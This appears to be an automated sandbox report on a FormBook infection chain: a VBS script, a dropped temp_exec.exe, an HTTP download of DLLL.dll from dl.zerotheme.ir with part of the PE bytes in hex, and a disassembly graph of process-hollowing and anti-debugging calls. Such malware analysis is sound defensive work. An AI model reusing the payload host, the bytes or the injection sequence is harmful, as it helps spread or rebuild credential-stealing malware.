                2024-09-30 08:03:28 UTC16384INData Raw: 82 7a 3b 10 9f 97 53 0a 6b 45 5d b1 04 06 3b ca 23 c4 b1 63 4d 37 18 b7 40 c9 ce 82 ca 0a 99 92 9b c1 92 48 ab ad f2 93 e9 c1 7e 2f 98 4e 21 49 40 ae f9 49 7d da ac 13 4e a0 ab f4 10 30 64 ce 0f 4b 9d 1b ed 00 36 7a 08 95 5d 00 aa 28 35 e4 5a 42 a4 f5 83 c4 1b d1 5c 8e df f6 05 30 b6 c6 8b 75 d6 88 07 9f 53 9f 9b bd 1c 05 21 c6 5a ee a8 9b b4 45 e6 cd de bf 78 08 00 fe 99 16 8b d1 0e 35 e4 d7 91 41 e4 ef f7 1b df 30 ae dd 35 d0 21 8c f6 0b 4b ff dd 1d 99 ad 13 0e 8b 2c a9 d0 56 6e d4 bd 32 6f 26 0c 79 d3 f8 ec 7e 79 db b6 6a a8 92 c9 8a 59 e4 ab ac 25 eb db 55 a6 49 15 24 35 62 59 74 64 87 4b c5 d8 fe 31 fd 50 39 e8 e0 44 60 7d 8a 7b de 5f a9 e6 8c ca 7c f2 55 5b 78 12 88 aa 06 f6 06 3b 7a a2 79 d7 9a 59 8c 6b a8 80 e3 da 4e 31 0c 17 b3 de f7 00 42 b8 60
                Data Ascii: z;SkE];#cM7@H~/N!I@I}N0dK6z](5ZB\0uS!ZEx5A05!K,Vn2o&y~yjY%UI$5bYtdK1P9D`}{_|U[x;zyYkN1B`
                2024-09-30 08:03:28 UTC16384INData Raw: 47 b6 02 c6 fa 61 87 56 c2 2f a8 ac 65 92 ec ee a2 7e 1f 14 1f 31 5c 71 2b 86 50 26 84 e8 95 97 c4 ca 76 b2 9e 9b 63 33 59 12 62 dc 6f 3a 71 54 a4 ca e3 a0 a1 51 a0 19 4f 13 ca f5 f7 b1 ea 9a 6f db f0 fa dc 2b 3c de f5 ee 0c 6c 3a 80 41 2b 4e 65 96 2c be 59 a2 9b a5 20 3e 43 d9 84 a9 1f c0 c4 80 fa 6e 50 d0 0e 9e 34 ab c8 1c f8 80 21 33 48 f9 0d 1a 41 91 4b 8a 7f 47 be c1 71 6b 4b e7 7c 8a 2d b2 2e 00 e2 e2 3d e1 8e ce 2f 83 b0 9f 1b ea c3 45 2b 10 7c 23 34 41 eb e5 a6 22 d2 8a 0b 43 6f a5 0a e3 43 79 fe 30 4f cd 65 e1 e2 29 b7 e6 24 29 90 37 65 50 d1 59 61 b9 75 d2 91 6a 62 1f 69 0a 89 76 93 e7 f5 a5 a7 8e 46 d8 15 fa 02 1c 9a 22 45 d0 d6 36 69 b6 cf 44 ce ac 9a 9b c3 cf 2a 3b 39 7b 5c bc 7c 0a f3 bc d2 7b dd 9b 61 90 0b 5f 92 d5 f5 8a 6f db 31 d4 b7 b2
                Data Ascii: GaV/e~1\q+P&vc3Ybo:qTQOo+<l:A+Ne,Y >CnP4!3HAKGqkK|-.=/E+|#4A"CoCy0Oe)$)7ePYaujbivF"E6iD*;9{\|{a_o1
                2024-09-30 08:03:28 UTC16384INData Raw: e6 61 cb a4 4a a8 0d 00 41 fb 98 4e 3f 72 48 c8 e7 1e 6e d5 9a 84 72 b5 21 7f 3b 24 22 1c 8f a6 58 39 8d 57 5e ee 2f d3 5e d7 2a b5 a8 ef 63 1c e4 05 f6 de bc d8 d1 ec c6 4c 87 14 28 ba a2 7b 4c d7 fe ed dd d2 3c 2c 67 ab 57 54 63 a9 be 27 c7 d5 45 65 47 c6 80 52 0d 1d 8b c8 78 d4 12 7d 86 24 0f b0 8e f9 aa a3 90 ae 58 15 f2 8c 9a 9a 99 70 5e 4f 9b 93 ce 4e 49 6c be f9 97 6d 67 43 04 62 54 30 0c 44 b2 9f 32 33 29 45 05 30 36 c6 ee 40 a4 a2 5a 9b f9 12 d5 ef 03 87 30 e9 ef 9f 3a be 52 85 d1 74 bf 8c 32 ee 32 74 30 0a ac df fa 2c 36 e3 14 81 6b 63 19 e0 79 d0 cd ec bd 53 88 79 62 7b 77 b3 12 50 ff 03 8f a6 8e 70 5f 86 e8 3b f2 13 3d b5 96 d1 73 38 00 94 10 87 1a 57 d0 1f be 89 9f d7 ba c8 c5 05 31 80 f6 d9 bd e8 df 28 4f de 47 74 d8 17 21 b3 03 19 d3 ff 83
                Data Ascii: aJAN?rHnr!;$"X9W^/^*cL({L<,gWTc'EeGRx}$Xp^ONIlmgCbT0D23)E06@Z0:Rt22t0,6kcySyb{wPp_;=s8W1(OGt!
                2024-09-30 08:03:28 UTC16384INData Raw: d8 dc c6 74 2f 65 f5 5f e9 a8 e7 37 7a e9 35 99 4d 27 c3 e8 50 88 99 fc f7 7d 12 f8 04 c1 3c 42 f4 d9 5c 86 3c 3f 80 f1 13 2f 9f 35 28 62 38 50 5a 66 1b f3 57 07 ae 56 83 6f 10 6b 01 85 d2 03 b8 a0 3c 40 d9 9d 89 23 a4 b3 17 77 97 b8 53 cf 09 fb 87 5f 30 0b c8 e7 ec 5a f8 cd 95 59 95 0f ea 24 94 23 33 e0 f5 80 f2 5a ca fe ba c9 50 35 b8 51 da c0 fa 73 3d 5b ff 08 1c 90 4d b1 83 66 66 23 82 eb a6 28 ef f6 46 fd 73 10 61 e8 56 3b f2 7b 07 39 5f 49 c6 67 6c 4e 63 87 c6 60 c2 66 76 13 34 17 33 bf d0 5c bf 1b 3e 83 b3 82 a1 67 29 c7 c3 5d 0c a7 c1 46 06 1c 81 c8 47 b3 74 1b ab aa 67 c4 83 a7 6b eb ee 4d 02 b8 b1 f3 e5 ad 91 d5 3a a0 e8 70 50 8e c6 f6 37 7d 24 d4 ad 78 52 05 b9 d1 df 5d 3f da 42 f8 cd 48 8f 5b 42 0b 2a 28 d4 c2 77 1e 28 83 c6 18 0f 05 fc 8e 0f
                Data Ascii: t/e_7z5M'P}<B\<?/5(b8PZfWVok<@#wS_0ZY$#3ZP5Qs=[Mff#(FsaV;{9_IglNc`fv43\>g)]FGtgkM:pP7}$xR]?BH[B*(w(
                2024-09-30 08:03:28 UTC16384INData Raw: db 39 51 fa d2 db 4c e8 df 54 17 f3 63 16 b9 cb 11 45 56 6e 39 69 1e f4 9a 6c 24 fc 72 20 5e 34 7f 3d ff d8 5f e9 94 a3 fa 64 af 9f 42 25 35 13 3d 43 78 fb 51 ab 76 d3 62 82 dd e1 3c d8 c4 21 59 f1 d0 2a f6 c7 26 ef 61 cf c3 63 89 7b 53 d6 48 48 4d 67 62 41 85 9f e1 34 a2 50 fd e3 58 4e 4b 36 3d d7 b5 ff bc 32 b2 01 5a a9 93 1a cf 54 b3 be 40 d8 b2 e8 b2 a1 6a 37 a5 1a d6 6a ac 2f d9 e1 64 a0 41 21 94 c6 cc d4 6b 49 7e 68 3d 0e 57 48 69 75 e3 22 ee 16 f0 8a 96 87 e4 92 9d 1f 5e 74 b3 b2 4c 26 e7 cd c7 c1 c6 17 af 2b f2 78 8b 45 1e 28 b2 83 6d 5a c6 f1 b9 17 24 48 59 17 3b b3 f3 58 62 a7 dc 47 a2 33 39 aa 94 e8 c0 8e e2 a4 a2 30 f8 92 c5 51 98 a7 b3 de 96 5f f6 b2 38 75 e6 df 32 b1 9d a8 19 1a 59 a4 3d ef 20 ea 44 09 dc e4 17 6c 30 8d 91 c1 aa 91 d9 38 38
                Data Ascii: 9QLTcEVn9il$r ^4=_dB%5=CxQvb<!Y*&ac{SHHMgbA4PXNK6=2ZT@j7j/dA!kI~h=WHiu"^tL&+xE(mZ$HY;XbG390Q_8u2Y= Dl088
                2024-09-30 08:03:28 UTC16384INData Raw: af 51 55 28 42 0e 63 9d 55 f7 33 c7 7f 20 a7 6b 65 86 2b 11 70 e9 37 54 37 2b f0 59 1d d9 29 fc 37 b4 ea 67 a9 ec 77 94 29 72 c6 58 d4 a0 2f 4b df a0 a7 19 78 32 f1 4f c8 a0 34 23 4a 3d 50 95 19 76 b0 d2 22 2b 2f e1 e8 af 49 fb 2d c0 35 9b f2 66 fe da b3 27 1d 7f 91 e4 12 a8 00 d9 4d b8 ef bd 1a 14 b4 03 c5 72 32 a9 0b 7f d9 4f b1 72 50 cb a7 ec 5a 81 3a 7d b0 49 df c4 8a 38 c1 29 ee 0f f9 b0 db 2d b2 3d 4f 41 ba f5 20 b1 64 c8 e8 8a ab 2f de 8d b5 ba d4 a1 ab 1d 1d 21 fc 66 f6 f1 c0 6b 43 7b 22 b6 67 e3 6e 3b 1e 57 7b 79 9c 67 b4 79 61 91 a6 03 21 b3 f2 e3 c5 c6 dc 38 4a b2 ec 09 41 8d b8 74 0e 03 43 88 42 d8 8b 0d 3f 90 42 7b 66 da 9b e5 d2 a6 ff 84 df 52 8e bd fd 06 eb 07 57 ad 46 47 0f 8a c5 7b a8 b6 65 3d e4 6f de 6c eb bc 9b 08 1a 57 f9 77 f6 ac d4
                Data Ascii: QU(BcU3 ke+p7T7+Y)7gw)rX/Kx2O4#J=Pv"+/I-5f'Mr2OrPZ:}I8)-=OA d/!fkC{"gn;W{ygya!8JAtCB?B{fRWFG{e=olWw
                2024-09-30 08:03:28 UTC16384INData Raw: 55 fb 28 ea 05 41 42 0f 18 00 4f 0e 2c 8b c2 70 2a 15 ad f4 1b f8 30 fd f6 9d 71 a0 56 fd c7 4a 65 d1 9d f9 cb ca 6f 3e e7 b0 c5 34 64 e0 2f e1 12 71 27 0c 24 63 e0 0e 4d b2 4e 8a c2 cd 77 64 5f ef 30 95 fa db af 01 eb 32 56 9e c1 b5 5b e3 d8 14 22 56 bf f0 5d 2c e0 ee 34 48 54 af f3 de e8 49 74 08 d1 70 28 17 73 c7 d8 cc b9 94 d7 3b 27 08 9d 0a ac 17 ab 51 c0 59 26 f8 f0 ac 33 b6 78 18 07 be a0 f1 24 e6 e4 c1 85 c5 02 c9 63 bb 4b 50 1b 64 d0 e0 10 bf aa 78 2e 76 1a 5d 5f 62 14 8f 28 fc 02 13 12 c0 61 c8 5b b0 b1 6d 9d f6 fa 8b f0 2e 7e 17 0d 55 45 a7 b0 01 f7 f6 78 fb 9f 77 3e a3 8a d9 b4 f3 41 ec 37 25 36 46 bf d9 80 d2 ce 65 8c 84 00 46 58 b0 00 eb cd 8e c5 be 30 d1 0c e5 ab 09 ab 03 9d 79 3d f7 56 20 15 13 5e 6e 92 7c 80 e4 51 5b 20 04 02 db 1f 48 dc
                Data Ascii: U(ABO,p*0qVJeo>4d/q'$cMNwd_02V["V],4HTItp(s;'QY&3x$cKPdx.v]_b(a[m.~UExw>A7%6FeFX0y=V ^n|Q[ H
                2024-09-30 08:03:28 UTC16384INData Raw: 33 2f 6e 25 42 80 db eb 74 b0 ae 6e 26 a9 c6 ea e2 85 af 3a 87 fd 9d a6 a9 04 f1 2e 0b ad 57 c3 43 36 bd f7 29 dc 71 b0 de 93 c0 86 6a 0f 09 4d 29 27 95 c2 80 49 7c 65 1e 4e cc a0 69 20 b9 50 27 b8 88 a8 4b d1 3b c0 82 23 f2 0d 66 c7 6a cd ed 45 9f 90 88 9a 2b 45 50 4c 33 a1 05 33 fe 95 9e 19 37 38 1a 54 45 ad 34 c0 38 0b 87 4f fd 6b 41 20 90 31 42 b0 34 e9 91 89 66 3f bb 41 23 8d 3f b3 0c 55 c6 c2 fd 4d 20 ba 15 a7 df ec 89 ff 94 d9 f3 21 cf e1 ce 78 87 ef 22 01 de 5f 17 a7 f4 98 2b 00 99 1a 37 91 07 dc 79 51 20 ef 8d 16 57 9c 28 ce e3 4d 42 f6 5d 46 7d ad d0 68 17 61 c9 7b f2 4d 02 83 d5 22 8e 7e 32 4a 01 49 a5 3a 2b 3b ee 3f 03 12 00 7d 2a 5a f4 0e 0e ab 58 88 43 1c 15 0e f2 2b 2c ec 36 a5 c2 f9 e7 79 e9 65 fd 2c 9a f9 b8 7f be f8 f0 00 a8 29 c6 a7 b5
                Data Ascii: 3/n%Btn&:.WC6)qjM)'I|eNi P'K;#fjE+EPL3378TE48OkA 1B4f?A#?UM !x"_+7yQ W(MB]F}ha{M"~2JI:+;?}*ZXC+,6ye,)
                2024-09-30 08:03:28 UTC16384INData Raw: 06 39 e1 22 dd ed b8 ec fa 8b 9f 87 74 42 83 ad a7 3a 6e b0 5a 9f e8 60 a0 2c 57 07 ad d0 31 94 82 15 8a 3e d8 09 b3 a1 2e 55 81 cb 51 c8 fe 48 92 4b bb 3e 4d 35 8f dd e5 3e 33 bd 51 25 15 db c3 60 20 27 4d f3 9e 3b 8a 2b ba ff ff 21 0d 56 48 1c 36 fc 70 d1 46 ff 40 b6 51 54 95 d9 74 78 0f 12 4c a4 cd 08 53 55 00 b4 ce 41 22 86 02 de 5c a4 74 d8 a8 89 e3 bf b5 77 04 00 a7 0a 0e 6a 8d bd fa b6 02 e2 79 e5 c7 04 3c ba 38 ee 54 35 31 b1 72 20 f9 41 3e f4 69 12 c4 73 e8 e9 f3 78 28 a5 63 fc 92 4e 1e fb f1 a8 ab a8 b2 da 4c 0a 45 42 c1 64 88 0c 5a 37 1b 37 08 1a 33 2f 8d 19 d4 d5 f0 eb c0 83 4a 3f 6d b9 cc ab c7 2f a5 6a 3c e9 33 47 f3 d8 76 d9 cf 4d 40 e6 bd b9 7e a2 22 bf 9f 4a fe 84 e9 6f e1 ad 61 03 b2 90 8f 0a f1 fa d2 3d e1 8d 47 e4 45 d9 8c 28 71 57 50
                Data Ascii: 9"tB:nZ`,W1>.UQHK>M5>3Q%` 'M;+!VH6pF@QTtxLSUA"\twjy<8T51r A>isx(cNLEBdZ773/J?m/j<3GvM@~"Joa=GE(qWP


                Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                1192.168.2.549705185.18.213.204433840C:\Users\user\AppData\Local\Temp\temp_exec.exe
                TimestampBytes transferredDirectionData
                2024-09-30 08:03:29 UTC66OUTGET /kokorila/cgl-bin/DLLL.dll HTTP/1.1
                Host: dl.zerotheme.ir
                2024-09-30 08:03:30 UTC206INHTTP/1.1 200 OK
                Connection: close
                content-type: application/x-msdownload
                last-modified: Mon, 30 Sep 2024 07:45:05 GMT
                accept-ranges: bytes
                content-length: 15360
                date: Mon, 30 Sep 2024 08:03:29 GMT
                2024-09-30 08:03:30 UTC1162INData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 78 f9 da 66 00 00 00 00 00 00 00 00 e0 00 2e 20 0b 01 30 00 00 34 00 00 00 38 00 00 00 00 00 00 2e 53 00 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 00 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00
                Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELxf. 048.S `@ `
                2024-09-30 08:03:30 UTC14198INData Raw: 00 00 06 12 00 28 06 00 00 06 25 26 1f 60 28 10 00 00 06 fe 01 13 16 11 16 2c 10 1a 45 01 00 00 00 f6 ff ff ff 73 17 00 00 0a 7a 11 05 11 08 fe 01 13 17 11 17 2c 30 00 09 7b 01 00 00 04 11 08 28 08 00 00 06 25 26 1f 64 28 10 00 00 06 fe 03 13 18 11 18 2c 10 1d 45 01 00 00 00 f6 ff ff ff 73 17 00 00 0a 7a 00 04 11 04 1f 68 28 10 00 00 06 58 28 18 00 00 0a 25 26 13 09 04 11 04 1f 6c 28 10 00 00 06 58 28 18 00 00 0a 13 0a 1f 70 28 10 00 00 06 13 0b 09 7b 01 00 00 04 11 05 11 09 1f 74 28 10 00 00 06 1f 78 28 10 00 00 06 28 09 00 00 06 13 0c 05 2d 0d 11 0c 1f 7c 28 10 00 00 06 fe 01 2b 0a 20 80 00 00 00 28 10 00 00 06 13 19 11 19 2c 47 1d 45 01 00 00 00 f6 ff ff ff 00 20 84 00 00 00 28 10 00 00 06 13 0b 09 7b 01 00 00 04 20 88 00 00 00 28 10 00 00 06 11 09 20
                Data Ascii: (%&`(,Esz,0{(%&d(,Eszh(X(%&l(X(p({t(x((-|(+ (,GE ({ (


                Statistics

                CPU Usage

                Click to jump to process

                Memory Usage

                Click to jump to process

                High Level Behavior Distribution

                Click to dive into process behavior distribution

                Behavior

                Click to jump to process

                System Behavior

                General

                Target ID:0
                Start time:04:03:22
                Start date:30/09/2024
                Path:C:\Windows\System32\wscript.exe
                Wow64 process (32bit):false
                Commandline:C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\QT2Q1292300924.vbs"
                Imagebase:0x7ff619650000
                File size:170'496 bytes
                MD5 hash:A47CBE969EA935BDD3AB568BB126BC80
                Has elevated privileges:false
                Has administrator privileges:false
                Programmed in:C, C++ or other language
                Reputation:high
                Has exited:true

                General

                Target ID:2
                Start time:04:03:25
                Start date:30/09/2024
                Path:C:\Users\user\AppData\Local\Temp\temp_exec.exe
                Wow64 process (32bit):true
                Commandline:"C:\Users\user\AppData\Local\Temp\temp_exec.exe"
                Imagebase:0xc90000
                File size:86'344 bytes
                MD5 hash:055742AC290225D245F94E168DC06A76
                Has elevated privileges:false
                Has administrator privileges:false
                Programmed in:C, C++ or other language
                Antivirus matches:
                • Detection: 100%, Avira
                • Detection: 100%, Joe Sandbox ML
                • Detection: 21%, Virustotal, Browse
                Reputation:low
                Has exited:true

                General

                Target ID:3
                Start time:04:03:29
                Start date:30/09/2024
                Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                Wow64 process (32bit):false
                Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
                Imagebase:0x270000
                File size:56'368 bytes
                MD5 hash:FDA8C8F2A4E100AFB14C13DFCBCAB2D2
                Has elevated privileges:false
                Has administrator privileges:false
                Programmed in:C, C++ or other language
                Reputation:moderate
                Has exited:true

                General

                Target ID:4
                Start time:04:03:29
                Start date:30/09/2024
                Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                Wow64 process (32bit):true
                Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
                Imagebase:0x790000
                File size:56'368 bytes
                MD5 hash:FDA8C8F2A4E100AFB14C13DFCBCAB2D2
                Has elevated privileges:false
                Has administrator privileges:false
                Programmed in:C, C++ or other language
                Yara matches:
                • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.2136321349.0000000000E30000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.2136321349.0000000000E30000.00000004.00001000.00020000.00000000.sdmp, Author: unknown
                • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.2136079152.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.2136079152.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
                Reputation:moderate
                Has exited:true

                Disassembly

                Reset < >

                  Execution Graph

                  Execution Coverage:24.1%
                  Dynamic/Decrypted Code Coverage:100%
                  Signature Coverage:4.7%
                  Total number of Nodes:64
                  Total number of Limit Nodes:2
                  execution_graph 5140 14ea728 VirtualAllocEx 5141 14ea7df 5140->5141 5150 14e3d38 5151 14e3d5c 5150->5151 5154 14e3e58 5151->5154 5153 14e3d80 5155 14e3e84 5154->5155 5160 14e41b9 5155->5160 5167 14e3f30 5155->5167 5179 14e3f20 5155->5179 5156 14e3e94 5156->5153 5161 14e4160 5160->5161 5191 14e3b58 5161->5191 5163 14e41a6 5163->5156 5164 14e417f 5164->5163 5195 14e5441 5164->5195 5199 14e5448 5164->5199 5169 14e3f52 5167->5169 5168 14e3f97 5168->5156 5169->5168 5170 14e4159 5169->5170 5172 14e40f6 5169->5172 5203 14e5078 5169->5203 5207 14e5070 5169->5207 5171 14e3b58 CloseHandle 5170->5171 5174 14e417f 5171->5174 5173 14e3b58 CloseHandle 5172->5173 5173->5170 5174->5168 5177 14e5448 EnumWindows 5174->5177 5178 14e5441 EnumWindows 5174->5178 5177->5168 5178->5168 5182 14e3f30 5179->5182 5180 14e4159 5181 14e3b58 CloseHandle 5180->5181 5186 14e417f 5181->5186 5182->5180 5183 14e40f6 5182->5183 5185 14e3f97 5182->5185 5189 14e5078 CheckRemoteDebuggerPresent 5182->5189 5190 14e5070 CheckRemoteDebuggerPresent 5182->5190 5184 14e3b58 CloseHandle 5183->5184 5184->5180 5185->5156 5186->5185 5187 14e5448 EnumWindows 5186->5187 5188 14e5441 EnumWindows 5186->5188 5187->5185 5188->5185 5189->5183 5190->5183 5192 14e5178 CloseHandle 5191->5192 5194 14e5208 5192->5194 5194->5164 5196 14e548c EnumWindows 5195->5196 5198 14e54f3 5196->5198 5198->5163 5200 14e548c EnumWindows 5199->5200 5202 14e54f3 5200->5202 5202->5163 5204 14e50c1 CheckRemoteDebuggerPresent 5203->5204 5206 14e5118 5204->5206 5206->5172 5208 14e5075 CheckRemoteDebuggerPresent 5207->5208 5210 14e5118 5208->5210 5210->5172 5142 14ea500 5143 14ea55e 5142->5143 5144 14ea573 Wow64SetThreadContext 5142->5144 5143->5144 5145 14ea5bc 5144->5145 5146 14ea180 5147 14ea20d CreateProcessW 5146->5147 5149 14ea374 5147->5149 5149->5149 5211 14ea970 ResumeThread 5212 14ea9f8 5211->5212 5213 14ea610 ReadProcessMemory 5214 14ea6cf 5213->5214 5215 14ea830 5216 14ea8ae WriteProcessMemory 5215->5216 5217 14ea899 5215->5217 5218 14ea910 5216->5218 5217->5216

                  Executed Functions

                  Function 014E5078 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 82COMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 137 14e5078-14e5116 CheckRemoteDebuggerPresent 140 14e511f-14e5163 137->140 141 14e5118-14e511e 137->141 141->140
                  APIs
                  • CheckRemoteDebuggerPresent.KERNEL32(?,?), ref: 014E5106
                  Strings
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093036748.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_14e0000_temp_exec.jbxd
                  Similarity
                  • API ID: CheckDebuggerPresentRemote
                  • String ID: cq0{
                  • API String ID: 3662101638-1165302737
                  • Opcode ID: c9d22c18d69da3a4d7dfdff7d6e1a9d3e78cad6f224e3a521077bf97f65671f1
                  • Instruction ID: b8e1fce04b405d1ef516d152c03e1d336ebb22f198b9f53d86404a82dae9d3d8
                  • Opcode Fuzzy Hash: c9d22c18d69da3a4d7dfdff7d6e1a9d3e78cad6f224e3a521077bf97f65671f1
                  • Instruction Fuzzy Hash: 9D31AAB8D012189FCB10DFAAD984A9EFBF5BF49310F10942AE819B7310C779A945CF94
                  Function 014E493D Relevance: 2.6, Strings: 2, Instructions: 142COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093036748.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_14e0000_temp_exec.jbxd
                  Similarity
                  • API ID:
                  • String ID: cq0{$cq0{
                  • API String ID: 0-2062232984
                  • Opcode ID: 054964d04347a0650a98cde6f529e4071d2b6d7773859ee4927bb74a1e008419
                  • Instruction ID: f284657c6b659ea08159e45073a942d71af7be2943d6cab46b848f7c426ba961
                  • Opcode Fuzzy Hash: 054964d04347a0650a98cde6f529e4071d2b6d7773859ee4927bb74a1e008419
                  • Instruction Fuzzy Hash: 6A511270D00258DFDB24CFA9D888B9EBBF1BF49311F14812AE415AB3A0DB749885CF85
                  Function 014E3B28 Relevance: 2.6, Strings: 2, Instructions: 140COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093036748.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_14e0000_temp_exec.jbxd
                  Similarity
                  • API ID:
                  • String ID: cq0{$cq0{
                  • API String ID: 0-2062232984
                  • Opcode ID: 78ec8013f84eff53135f636fbc86918ea9b08b0120a13220b6b1cc77661e5784
                  • Instruction ID: 461fa10422e6587f71b197763ccd647654196287960c308b6c301d3bb7398d70
                  • Opcode Fuzzy Hash: 78ec8013f84eff53135f636fbc86918ea9b08b0120a13220b6b1cc77661e5784
                  • Instruction Fuzzy Hash: A5510270D002188FDB14DFA9D988BAEBBF2BF49311F14812AE415BB364DB749885CF85
                  Function 014E83E9 Relevance: 1.8, Strings: 1, Instructions: 567COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093036748.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_14e0000_temp_exec.jbxd
                  Similarity
                  • API ID:
                  • String ID: XXjq
                  • API String ID: 0-4114761182
                  • Opcode ID: 0b719fe7c217cea5707c3c06ae19489bbe3241f750c6782086503cfddadaa573
                  • Instruction ID: 73edb7c831e021f1aa4c49ef2ec55bfb8682cb6f5944d257355f2df811b60e8e
                  • Opcode Fuzzy Hash: 0b719fe7c217cea5707c3c06ae19489bbe3241f750c6782086503cfddadaa573
                  • Instruction Fuzzy Hash: BC42A474A00229CFDB64CF69D984B9ABBF1BF49311F1481EAE909A7365DB309D81CF50
                  Function 014E27B8 Relevance: 1.7, Strings: 1, Instructions: 499COMMON
                  Download Yara Rule
                  Strings
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093036748.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_14e0000_temp_exec.jbxd
                  Similarity
                  • API ID:
                  • String ID: XXjq
                  • API String ID: 0-4114761182
                  • Opcode ID: 662d1a77c32806c63c6d131dc0f5f605fc71414ca0c9082bce98d6fd7842c915
                  • Instruction ID: 06751762d36a935e9764f991625838b010a172348192cfbfdf354d270b322fcd
                  • Opcode Fuzzy Hash: 662d1a77c32806c63c6d131dc0f5f605fc71414ca0c9082bce98d6fd7842c915
                  • Instruction Fuzzy Hash: 8432B874D012298FDB64CF69D984B9EBBF6BB88301F1091AAD919A3394DB705E81CF50
                  Function 014E8CBA Relevance: .9, Instructions: 941COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093036748.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_14e0000_temp_exec.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 9f80ff34340e991a07002848e4d05637ef169a95020ac4a4909ee86d965e4248
                  • Instruction ID: 545b5e11851271a08e8fa3e9eddaa338bc5e29d67c126f1e6476d1ca8154a537
                  • Opcode Fuzzy Hash: 9f80ff34340e991a07002848e4d05637ef169a95020ac4a4909ee86d965e4248
                  • Instruction Fuzzy Hash: 78A2A070E0122A8FDB65DF29C994BDDBBF5AB59301F1081EA950DB72A1DB349E80CF50
                  Function 014E3F30 Relevance: .3, Instructions: 251COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093036748.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_2_2_14e0000_temp_exec.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: e0ef785bbc31a79b8275c38ab2c64ea1fe3da14cc167a616d5029bc6217b76eb
                  • Instruction ID: 5d547c4e3fc835580b8d962b0252aa31686dc62caf6e50f4f5b7c4f92db9dc2f
                  • Opcode Fuzzy Hash: e0ef785bbc31a79b8275c38ab2c64ea1fe3da14cc167a616d5029bc6217b76eb
                  • Instruction Fuzzy Hash: B9A10474E042188BEF24DFA9D9487AEBBF2BF98301F14906AD519E7391DB359981CF10
                  Function 014EA175 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 240processCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 0 14ea175-14ea20b 1 14ea20d-14ea21f 0->1 2 14ea222-14ea230 0->2 1->2 3 14ea247-14ea283 2->3 4 14ea232-14ea244 2->4 5 14ea297-14ea372 CreateProcessW 3->5 6 14ea285-14ea294 3->6 4->3 10 14ea37b-14ea444 5->10 11 14ea374-14ea37a 5->11 6->5 20 14ea47a-14ea485 10->20 21 14ea446-14ea46f 10->21 11->10 25 14ea486 20->25 21->20 25->25
                  APIs
                  • CreateProcessW.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 014EA35F
                  Strings
                  Memory Dump Source
                  • Source File: 00000002.00000002.2093036748.00000000014E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014E0000, based on PE: false
                  Joe Sandbox IDA Plugin
